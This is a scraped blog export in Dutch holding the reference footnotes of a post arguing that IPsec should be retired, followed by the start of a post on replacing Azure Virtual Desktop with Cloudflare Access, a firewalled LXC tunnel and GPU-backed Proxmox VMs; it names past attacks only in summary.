veertien jaar voort na het bewijs van zijn waardeloosheid, wordt L2TP nog steeds geleverd op dozen die dit jaar verkocht worden, en bleef IKEv1 nog een decennium na zijn Historic-status tunnels onderhandelen. Niet omdat iemand ze verdedigde. Maar omdat niemand ooit verplicht was ze te beëindigen.\nEr is geen prijs voor 90 % goed. Ferguson en Schneier schreven dat in 1999 over IPsec, en wat er sindsdien gebeurd is, zijn dertig jaar waarin de branche de laatste 10 % elke keer op een nieuwe manier fout deed en de pleister een oplossing noemde.\nEen goed idee mag ook voorbij zijn. Weten wanneer je moet ophouden iets te onderhouden is een vaardigheid, en het is die waarin dit vak het slechtst is. Iemand moet degene zijn die zegt dat een protocol zijn leven gehad heeft, de datum opschrijft en de gevolgen draagt van degene te zijn geweest die het zei. Anders sturen we in 2040 nog elke twintig seconden een pakket van één byte, om een tabel warm te houden in een doos die niet van ons is, op een netwerk dat ons onze adressen afnam en ons ervoor liet betalen.\nRFC 4301 — Security Architecture for the Internet Protocol, december 2005. Definieert de security association en het drietal waarop hij wordt opgezocht: bestemmingsadres, beveiligingsprotocol en SPI.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4302 — IP Authentication Header, december 2005. De integriteitscontrole van AH dekt de onveranderlijke velden van de IP-header, bron- en bestemmingsadres inbegrepen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9329 — TCP Encapsulation of Internet Key Exchange Protocol (IKE) and IPsec Packets, november 2022, vervangt RFC 8229. Bestaat omdat tussendozen op publieke netwerken UDP blokkeren.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3715 — IPsec-Network Address Translation (NAT) Compatibility Requirements, maart 2004. Zestien opgesomde onverenigbaarheden, waaronder: “Since the AH header incorporates the IP source and destination addresses in the keyed message integrity check, NAT or reverse NAT devices making changes to address fields will invalidate the message integrity check.” en “Where IP addresses are used as identifiers in Internet Key Exchange Protocol (IKE) Phase 1 or Phase 2, modification of the IP source or destination addresses by NATs or reverse NATs will result in a mismatch between the identifiers and the addresses in the IP header.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Configuring IPsec NAT-Traversal, Security Configuration Guide, Cisco IOS XE 17.15.x (Catalyst 9300 Switches). “If PAT found a legislative IP address and port, it would drop the Encapsulating Security Payload (ESP) packet”; de UDP-header en een acht byte lange niet-IKE-markering worden tussen de buitenste IP-header en de ESP-header gezet; de beperkingenlijst noemt statische regels voor poort 500 en 4500, geen ondersteuning voor dynamisch NAT-beleid, geen IPv6, en dat IPsec en NAT niet allebei op hetzelfde apparaat kunnen werken.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3948 — UDP Encapsulation of IPsec ESP Packets, januari 2005, met de onderhandeling in RFC 3947. Definieert de keepalive als “a one-octet-long payload with the value 0xFF”, verstuurd “if no other packet to the peer has been sent in M seconds. M is a locally configurable parameter with a default value of 20 seconds.”, en eist dat de UDP-checksum op nul gaat: “If the protocol header after the ESP header is a UDP header, set the checksum field to zero in the UDP header.” Microsoft, Cisco, F-Secure, Nortel en SafeNet staan allemaal op de auteurslijsten van RFC 3947 en RFC 3948.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Route-Based and Policy-Based VPNs with NAT-T, Junos OS IPsec VPN User Guide. “NAT-T encapsulates both IKE and ESP traffic within UDP with port 4500 used as both the source and destination port”; “Because NAT devices age out stale UDP translations, keepalive messages are required between the peers”; en op SRX5400, SRX5600 en SRX5800: “the total number of tunnels from a given public translated IP cannot exceed 1000 tunnels.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8221 — Cryptographic Algorithm Implementation Requirements and Usage Guidance for ESP and AH, oktober 2017. ENCR_DES MUST NOT, ENCR_3DES SHOULD NOT, AUTH_HMAC_MD5_96 MUST NOT; ESP samen met AH is NOT RECOMMENDED.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4787 — Network Address Translation (NAT) Behavioral Requirements for Unicast UDP, januari 2007. REQ-5: “A NAT UDP mapping timer MUST NOT expire in less than two minutes”, met “a default value of five minutes or more for the NAT UDP mapping timer is RECOMMENDED”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6146 — Stateful NAT64: Network Address and Protocol Translation from IPv6 Clients to IPv4 Servers, april 2011. “The current specification only defines how stateful NAT64 translates unicast packets carrying TCP, UDP, and ICMP traffic. Multicast packets and other protocols, including the Stream Control Transmission Protocol (SCTP), the Datagram Congestion Control Protocol (DCCP), and IPsec, are out of the scope of this specification.” Pakketten met iets anders “SHOULD be discarded”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6877 — 464XLAT: Combination of Stateful and Stateless Translation, april 2013. Geeft een IPv6-only-apparaat een lokale IPv4-stack zodat verkeer werkt dat NAT64 niet kan dragen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIETF — draft-xu-ipsecme-esp-in-udp-lb, Encapsulating IPsec ESP in UDP for Load-balancing. “Although the ESP SPI field within the IPsec packets can be used as the load-balancing key, but it cannot be used by legacy switches and routers”; “Many cloud service providers allow customers to establish multiple IPsec VPN tunnels in parallel to enable ECMP and increase aggregate bandwidth. However, this approach is not ideal, as each tunnel typically requires its own public IP address, leading to higher public IP consumption and increased operational overhead.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Resolve IPv4 Fragmentation, MTU, MSS, and PMTUD Issues with GRE and IPsec. De al lang onderhouden referentie over tunneloverhead, path MTU discovery en wat er stukgaat als de ICMP-fouten niet terugkomen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Troubleshoot IPsec Anti-Replay Check Failures. “Certain QoS features, such as Low Latency Queueing (LLQ), could cause IPsec packet delivery to become out-of-order and dropped by the receiving endpoint due to a replay check failure.” Standaardvenster 64 pakketten; 1024 op nieuwere platformen; het andere middel zijn meerdere volgnummerruimtes per association.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2661 — Layer Two Tunneling Protocol “L2TP”, augustus 1999. Een tunnelprotocol voor PPP zonder eigen vertrouwelijkheid op pakketniveau; de beveiligingsparagraaf verwijst naar IPsec.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMoxie Marlinspike en David Hulton — Divide and Conquer: Cracking MS-CHAPv2 with a 100% Success Rate, 2012; gereedschap op github.com/moxie0/chapcrack. De beveiliging van MS-CHAPv2 brengt zich ongeacht de wachtwoordlengte terug tot één DES-bewerking; verslag uit die tijd in The Register. Hun conclusie was PPTP-verkeer als onversleuteld te beschouwen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nApple — If you see a “VPN Using PPTP May Not Be Secure” alert. PPTP is in 2016 uit de ingebouwde client van macOS Sierra en iOS 10 gehaald.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4303 — IP Encapsulating Security Payload (ESP), december 2005. IP-protocol 50; de ESP-header draagt de SPI en het volgnummer en heeft geen poortveld.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9395 — Deprecation of the Internet Key Exchange Version 1 (IKEv1) Protocol and Obsolete Cryptographic Algorithms, april 2023. “Internet Key Exchange Version 1 (IKEv1) has been deprecated, and RFCs 2407, 2408, and 2409 have been moved to Historic status.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7296 — Internet Key Exchange Protocol Version 2 (IKEv2), oktober 2014. De huidige sleuteluitwisseling, en de bron van de notify-namen in de diagnosetabel.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3173 — IP Payload Compression Protocol (IPComp), september 2001. Een eigen IP-protocolnummer en eigen associations, naast ESP onderhandeld.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2367 — PF_KEY Key Management API, Version 2, juli 1998. De kernelinterface waarmee een sleuteldaemon associations installeert.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7383 — IKEv2 Message Fragmentation, november 2014. “This document describes a way to avoid IP fragmentation of large Internet Key Exchange Protocol version 2 (IKEv2) messages.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4555 — IKEv2 Mobility and Multihoming Protocol (MOBIKE), juni 2006. Laat een opgezette tunnel een adreswisseling overleven.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3706 — A Traffic-Based Method of Detecting Dead Internet Key Exchange (IKE) Peers, februari 2004.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\ndraft-beaulieu-ike-xauth — Extended Authentication within IKE (XAUTH). Laatste revisie 02, oktober 2001, status Expired, “Expired \u0026amp; archived”, nooit als RFC gepubliceerd. Het concept legt vast dat het als Informational werd aangeboden omdat “the IPSRA working group will not accept any protocol which extends ISAKMP or IKE, and the IPsec working group refuses to accept any protocols that deal with remote access.” Mode-Config onderging hetzelfde lot.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3193 — Securing L2TP using IPsec, november 2001. Mede geschreven bij Microsoft.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2332 — NBMA Next Hop Resolution Protocol (NHRP), april 1998. Het stuk waarmee DMVPN-spokes elkaar vinden.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6407 — The Group Domain of Interpretation, oktober 2011. Groepssleutels, zoals GETVPN ze gebruikt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2637 — Point-to-Point Tunneling Protocol (PPTP), juli 1999. Categorie: Informational. Een opgeschreven leveranciersprotocol, nooit een standaard.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Configure L2TP/IPsec server behind NAT-T device, KB 926179, voor het laatst herzien op 12 februari 2026. “By default, Windows Vista and Windows Server 2008 don\u0026rsquo;t support Internet Protocol security (IPsec) network address translation (NAT) Traversal (NAT-T) security associations to servers that are located behind a NAT device”; de DWORD-waarde AssumeUDPEncapsulationContextOnSendRule onder HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PolicyAgent neemt 0 (standaard, kan niet), 1 (server achter NAT) of 2 (beide kanten achter NAT), en de machine moet herstarten. Ook: “If you must use IPsec for communication, use public IP addresses for all servers that you can connect to from the Internet.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nstrongSwan — Windows Certificate Requirements. Het gatewaycertificaat heeft de EKU serverAuth nodig, OID 1.3.6.1.5.5.7.3.1, en de EKU IP Security IKE Intermediate, OID 1.3.6.1.5.5.8.2.2.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nstrongSwan — Windows Clients. Documenteert het toevoegen van de DWORD NegotiateDH2048_AES256 onder Rasman\\Parameters voor AES-256-CBC en MODP-2048; de hersleutel-noodoplossing voor clients achter NAT (rekey_time = 0 op de gateway, de client begint); en dat de Windows-client “does not currently support IKE redirection (RFC 5685) and multiple authentication rounds (RFC 4739)”. Daarnaast: “IKEv2 fragmentation is supported since the v1803 release of Windows 10 and Windows Server”, en clients achter NAT weigeren een door de server gestarte CHILD_SA-hersleuteling met Microsoft-fout 13863.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — DirectAccess en Remote Access Always On VPN migration overview. DirectAccess is afgeschaft en wordt in een toekomstige versie van Windows Server verwijderd; klanten worden naar Always On VPN verwezen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJean Paul Degabriele en Kenneth G. Paterson — Attacking the IPsec Standards in Encryption-only Configurations, IEEE Symposium on Security and Privacy, 2007. Aanvallen die “break any RFC-compliant implementation of IPsec making use of encryption-only ESP”, uit louter de cijfertekst, en die niet meer vergen dan verkeer meelezen en pakketten injecteren.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6434 — IPv6 Node Requirements, december 2011. “Previously, IPv6 mandated implementation of IPsec and recommended the key management approach of IKE. This document updates that recommendation by making support of the IPsec Architecture [RFC4301] a SHOULD for all IPv6 nodes.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNiels Ferguson en Bruce Schneier — A Cryptographic Evaluation of IPsec, Counterpane Internet Security, 1999. “IPsec was a great disappointment to us”; “Our main criticism of IPsec is its complexity”; “We therefore recommend that transport mode be eliminated”; “We conclude that eliminating transport mode allows the elimination of the AH protocol as well, without loss of functionality”; en “We have found serious security weaknesses in all major components of IPsec. As always in security, there is no prize for getting 90% right; you have to get everything right.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDavid Adrian e.a. — Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice, ACM CCS 2015. Voorberekening voor een tweede 1024-bits groep “would allow decryption of traffic to 66% of IPsec VPNs”; 86,1 % van de gescande IKEv1- en 91,0 % van de IKEv2-servers ondersteunde Oakley-groep 2, en 66,1 % van de geprofileerde IKEv1-servers prefereerde die.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCVE-2016-1287 en Cisco\u0026rsquo;s advisory, Cisco ASA Software IKEv1 and IKEv2 Buffer Overflow Vulnerability. Code-uitvoering op afstand vóór authenticatie, bereikt met geprepareerde UDP-pakketten naar de IKE-dienst.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — How to Analyze IKE Phase 2 VPN Status Messages. “No proposal chosen” betekent dat het apparaat “did not accept any of the IKE Phase 2 proposals that the peer sent”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Understand and Use Debug Commands to Troubleshoot IPsec en Troubleshoot Common L2L and Remote Access IPsec VPN Issues.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Troubleshoot a VPN Tunnel That is Down.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLinux-kernel — XFRM proc counters. De beschrijvingen in de tabel komen uit de kerneldocumentatie zelf.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Troubleshoot a VPN That Is Up But Not Passing Traffic. “If only the pkts counter in the out direction of the session is incrementing, then validate with the VPN peer that the traffic is being received.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — netsh wfp, Windows Commands. netsh wfp capture start “Starts a capture session for network events processed by WFP” en schrijft standaard wfpdiag.cab; netsh wfp show state “Displays the current state of WFP and IPsec”; netsh wfp show ikeevents “Displays recent Internet Key Exchange (IKE) epoch events matching the specified parameters” en accepteert een filter remoteaddr=. Met file=- schrijft elke show naar de console in plaats van XML.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Get-NetIPsecQuickModeSA, module NetSecurity. “There is only one main mode SA between a pair of computers, but there can be many quick mode SAs”, en het monitoren ervan “can provide information about which peers are currently connected to this computer, and which protection suite is protecting the data exchanged between them”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Troubleshoot Always On VPN, laatst herzien op 12 februari 2026. Over het lezen van de clientlogboeken: “look for events labeled RasClient. All error messages return the error code at the end of the message.” Oorzaak van fout 809: “You can encounter this issue when the UDP 500 or 4500 ports on the VPN server or firewall are blocked.” Fout 812 is een verschil in authenticatiemethode tussen het beleid van de server en het profiel van de client. De vier genoemde oorzaken van 13801 zijn een machinecertificaat zonder Server Authentication in het uitgebreide sleutelgebruik, een verlopen RAS-machinecertificaat, een client zonder het rootcertificaat, en een client waarvan de “VPN server name doesn\u0026rsquo;t match the subjectName value on the server certificate”; 13806 is “IKE can\u0026rsquo;t find a valid machine certificate”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Guidance for troubleshooting Remote Access (VPN and AOVPN). De ondersteunde verzameling is TSS, verhoogd uitgevoerd: TSS.ps1 -Scenario NET_VPN op de client en TSS.ps1 -Scenario NET_RAS op de server, met de storing gereproduceerd tussen start en stop en de sporen geschreven naar C:\\MS_DATA.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Routing and Remote Access Error Codes, de codes gedefinieerd in raserror.h. 638 ERROR_REQUEST_TIMEOUT; 718 ERROR_PPP_TIMEOUT; 789 ERROR_OAKLEY_GENERAL_PROCESSING, “The L2TP connection attempt failed because the security layer encountered a processing error during initial negotiations with the remote computer”; 809 ERROR_VPN_TIMEOUT, “The network connection between your computer and the VPN server could not be established because the remote server is not responding”; 828 ERROR_IDLE_TIMEOUT, “The connection was terminated because of idle timeout”; 930 ERROR_AUTH_SERVER_TIMEOUT, “The authentication server did not respond to authentication requests in a timely fashion”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfirewalld — Automatic Helper Assignment. “With kernel 4.7 and up the automatic helper assignment in kernel has been turned off by default”, gestuurd door de sysctl onder /proc/sys/net/netfilter/nf_conntrack_helper, en “for the secure use of iptables and connection tracking helpers it is recommended to turn AutomaticHelpers off”. De kernelmelding over de wijziging noemt de reden en de vervanging: de automatische toewijzing “has been turned off for security reasons”, gebruik in plaats daarvan het CT-target. De gedekte helpers zijn onder meer ftp, irc, sip, h323, tftp, snmp en pptp.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSamy Kamkar — NAT Slipstreaming, v1 van 31 oktober 2020, v2 van 26 januari 2021 met Ben Seri en Gregory Vishnipolsky van Armis. De aanval misbruikt “the Application Level Gateway (ALG) connection tracking mechanism built into NATs, routers, and firewalls” om “bypass victim NAT and connect directly back to any port on any machine on the network, exposing previously protected/hidden services and systems”. v1 gebruikte de SIP-gateway op poort 5060, v2 H.323 op 1720, waarmee het gat op elke interne host gericht kon worden in plaats van alleen op de machine die de pagina laadde.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Set-VpnServerConfiguration, module RemoteAccess. -IdleDisconnectSeconds “Specifies the time, in seconds, after which an idle connection is terminated”; -SALifeTimeSeconds en -MMSALifeTimeSeconds zetten de levensduur van quick mode en main mode; -SADataSizeForRenegotiationKilobytes “Specifies the number of kilobytes that are allowed to transfer using a security association (SA), after which the SA will be renegotiated”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJason A. Donenfeld — WireGuard: Next Generation Kernel Network Tunnel, NDSS 2017. “It intentionally lacks cipher and protocol agility. If holes are found in the underlying primitives, all endpoints will be required to update. As shown by the continuing torrent of SSL/TLS vulnerabilities, cipher agility increases complexity monumentally”; “implemented for Linux in less than 4,000 lines of code”; “it is important to stress, however, that the layering of IPsec is correct and sound; everything is in the right place with IPsec, to academic perfection”. Metingen: 1.011 Mbit/s tegen 881 en 825 voor twee IPsec-cijfersuites, en 0,403 ms ping tegen 0,501 en 0,508.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/networking/ipsec-was-a-good-idea-turn-it-off/","summary":"IPsec had in 1995 gelijk: versleutel onder de applicatie, bind de security association aan het IP-adres, en elk protocol erft het. Toen kwam NAT, carrier-grade NAT maakte het af, en de oplossing was om het geheel in UDP te verpakken en een timer te laten lopen zodat een vertaaltabel je niet vergeet. Deze post laat diagram voor diagram zien hoe het instort — de security association die een herschreven header niet overleeft, de twee vertalers die elke CGNAT-lijn tegenwoordig heeft, de NAT64-standaard die IPsec met naam en toenaam uitsluit, de tunnel die geen tweede lijn kan gebruiken omdat ESP geen poorten heeft, de MTU waar niemand van is, en L2TP en PPTP als de twee protocollen die hier nooit thuishoorden. Met de leveranciersdocumentatie van Cisco, Juniper en Microsoft die elk van die punten toegeeft, de achttien onderdelen die zich IPsec-VPN noemen waarvan er twee nooit een standaard waren, waarom het Fisher-Price OS nooit echt met een open stack heeft samengewerkt, een werkbare methode om IPsec te diagnosticeren zolang je het nog draait, en het pleidooi om de hele zaak met datums uit te faseren.","title":"IPsec Was Een Goed Idee. Het Is Tijd Om Het Uit Te Zetten."},{"content":"Wat Azure Virtual Desktop Werkelijk Kost Azure Virtual Desktop levert een Windows-desktop in een browser. Dat is werkelijk wat het doet, en het werkt. De vraag is wat het kost om het werkend te houden.\nDe catalogusprijs is niet de prijs. Microsofts licentiestack voor AVD loopt ruwweg zo1:\nEen Microsoft 365-licentie die de Windows Enterprise-entitlement omvat — E3 of E5, of het equivalente Business Premium Azure-compute onder de desktop — een VM per uur gefactureerd, of een reserved instance per maand gefactureerd Azure-storage voor de OS-schijf en het gebruikersprofiel Azure-netwerken voor het verkeer tussen de desktop en overal elders Optioneel, Microsoft Entra ID P1 of P2 voor conditional-access-beleid Windows 365 Cloud PC vereenvoudigt de facturering tot een vast getal per gebruiker per maand, maar het getal is niet klein. Een configuratie van 2 vCPU / 8 GB / 128 GB — wat een bescheiden kantoordesktop is — is £35,60 per gebruiker per maand2. Voeg een GPU toe en het springt naar £269,40 voor de GPU Standard-tier. Vermenigvuldig met personeelssterkte en het is een echte regelpost, elke maand, voor altijd.\nDat is het product dat deze post vervangt.\nBrowser elk apparaat geen RDP-client geen VPN HTTPS Cloudflare Access\u0026#160;+\u0026#160;IdP authenticeert de gebruiker rendert RDP in browser gratis ≤\u0026#160;50 gebruikers geen poorten blootgesteld geen VPN vereist zero-trust-beleid tunnel LXC cloudflared eigen VLAN gefirewalld tot alleen RDP-doelen RDP Windows\u0026#160;VM GPU VF\u0026#160;0\u0026#160;·\u0026#160;RDP Windows\u0026#160;VM GPU VF\u0026#160;1\u0026#160;·\u0026#160;RDP Windows\u0026#160;VM GPU VF\u0026#160;2\u0026#160;·\u0026#160;RDP Proxmox-host\u0026#160;·\u0026#160;Intel Arc Pro SR-IOV Arc Pro B-series PF → host VF 0 → VM VF 1 → VM VF 2 → VM Een browser, een identity provider en een tunnel — geen VPN, geen blootgestelde poorten, geen cloudrekening per zitplaats Het hele pad: een browser, Cloudflare Access voor identiteit, een tunnel in een gefirewallde LXC, en RDP naar Windows-VM\u0026rsquo;s met Intel Arc Pro-virtual-functions. Geen VPN, geen blootgestelde poorten, geen cloudrekening per zitplaats. Hoe De Vervangende Stack Eruitziet Drie lagen, elk onafhankelijk, geen ervan per zitplaats gefactureerd:\nDe GPU-laag is de Intel Arc Pro SR-IOV-build uit de vorige post. Eén Arc Pro-kaart splitst in hardware-virtual-functions via standaard-PCIe-SR-IOV — geen vGPU-licentie, geen NVIDIA-abonnement. Elke Windows-VM krijgt zijn eigen VF en zijn eigen GPU-versnelde desktop. De kaart bepaalt het aantal zitplaatsen, geen licentieserver.\nDe toegangslaag is Cloudflare Access met browser-gerenderde RDP. De gebruiker opent een URL in elke browser, authenticeert tegen je identity provider, en Cloudflare rendert de RDP-sessie rechtstreeks in het browsertabblad. Geen RDP-client geïnstalleerd. Geen VPN. Geen poorten blootgesteld aan het internet. Access federeert naar elke OAuth- of OIDC-provider — dat omvat on-prem-providers zoals Keycloak of Authentik gestapeld op je bestaande Active Directory, of dat nu Samba 4 AD of een Windows domain controller is. De directory blijft doen wat het al doet: gebruikersaccounts, group policy, domain-joined VM\u0026rsquo;s. Keycloak of Authentik federeert ertegen en voegt de OAuth/OIDC- en MFA-laag toe die Cloudflare Access nodig heeft. Het identiteitsvlak blijft op je eigen hardware. Geen Entra ID-abonnement vereist. Cloudflare Access handelt af wat daarna gebeurt: het beheert wat de geauthenticeerde gebruiker op je netwerk kan bereiken — welke applicaties, welke protocollen, welke hosts. De desktop zit achter een Cloudflare-tunnel en is nergens vandaan bereikbaar behalve via het Access-beleid, en het beleid beslist zowel identiteit als reikwijdte.\nDe tunnellaag is een cloudflared-proces dat in een LXC-container op Proxmox draait, op zijn eigen VLAN — een /30 voor IPv4 met zijn eigen toegewijde IPv6-prefix, niets anders in het broadcastdomein. De Proxmox-firewall beheert wat de LXC kan bereiken, en het antwoord is kort: TCP 3389 naar de desktop-VM\u0026rsquo;s en niks anders. Als het tunnel-endpoint gecompromitteerd raakt, is de blast radius één container op een verder leeg VLAN, en het enige waar het mee kan praten is wat de firewall al toestaat. Dat is een veel kleiner oppervlak dan een VPN-concentrator die een gerouteerd subnet uitdeelt.\nCloudflare Zero Trust is gratis voor tot 50 gebruikers3. Je betaalt vanaf gebruiker 51. Azure Virtual Desktop rekent vanaf zitplaats één.\nDe Architectuur Gebruiker elk apparaat elke browser HTTPS Cloudflare Access OAuth-IdP doet identiteit\u0026#160;+\u0026#160;MFA Access beheert netwerk\u0026#160;scope rendert RDP tunnel Jouw locatie LXC cloudflared eigen\u0026#160;VLAN /30\u0026#160;IPv4 Firewall Proxmox alleen\u0026#160;TCP\u0026#160;3389 RDP Windows VM's GPU-virtual- functions Arc\u0026#160;Pro\u0026#160;SR-IOV Het sessiepad: de gebruiker authenticeert aan Cloudflares edge, de tunnel landt in een gefirewallde LXC op zijn eigen VLAN, en de firewall staat alleen RDP naar de desktop-VM\u0026rsquo;s toe. Het pad dat een desktopsessie neemt:\nDe gebruiker opent https://vdi.example.com in elke browser, op elk apparaat Cloudflare Access onderschept de aanvraag en leidt door naar je identity provider — Keycloak of Authentik gefedereerd tegen je Active Directory De OAuth-provider valideert de identiteit van de gebruiker tegen AD en handelt MFA af Access evalueert het beleid — de provider bevestigde wie ze zijn, Access beslist wat ze op je netwerk kunnen bereiken Cloudflare zet een RDP-sessie op via de tunnel naar de doel-VM De RDP-sessie wordt in de browser gerenderd — geen client, geen plugin, geen download De tunnel eindigt in een LXC-container op de Proxmox-host, op een dichtgetimmerd VLAN De LXC stuurt RDP door naar de Windows-VM, die een GPU-virtual-function van de Arc Pro-kaart heeft Op geen enkel punt heeft de Windows-VM een publiek IP. Op geen enkel punt is poort 3389 open naar het internet. Het enige dat op het publieke internet luistert is Cloudflare, en het enige dat langs Cloudflare komt is een gebruiker die het Access-beleid passeerde.\nHet Tunnel-Endpoint: Een LXC Op Zijn Eigen VLAN Het cloudflared-proces moet ergens draaien, en waar je het zet is een veiligheidsbeslissing.\nHet rechtstreeks op de Proxmox-host draaien is de eenvoudigste optie en de slechtste. Een tunnel-endpoint dat de network namespace van de host deelt, kan alles bereiken wat de host kan bereiken, wat op een hypervisor alles is. Een gecompromitteerde tunnel wordt een pivot naar het management-vlak.\nHet in een volledige VM draaien is schoon maar zwaar. Een tunnelrelay is een enkele Go-binary die bijna geen CPU en een paar honderd megabyte RAM gebruikt. Het een volledige kernel en een virtuele schijf geven is overkill.\nEen LXC-container is de juiste vorm. Het krijgt zijn eigen network namespace, zijn eigen VLAN — een /30 IPv4 en een toegewijde IPv6-prefix, niets anders dat het broadcastdomein deelt — en zijn eigen firewallregels in de Proxmox-firewall. Het deelt de kernel van de host maar niet zijn netwerkstack. De firewall staat TCP 3389 naar de desktop-VM\u0026rsquo;s toe, DNS om ze te resolven, en HTTPS uitgaand naar Cloudflares edge. Zelfs een gecompromitteerd tunnel-endpoint kan dan ook alleen praten met de dingen waarmee het toch al mocht praten — en het VLAN waarop het zit heeft geen andere bewoners om te bereiken.\nDe LXC-configuratie, de Proxmox-firewallregels voor het VLAN, en de cloudflared-tunnelopzet staan allemaal in de volgende post.\nHoe Cloudflare Access In Elkaar Past 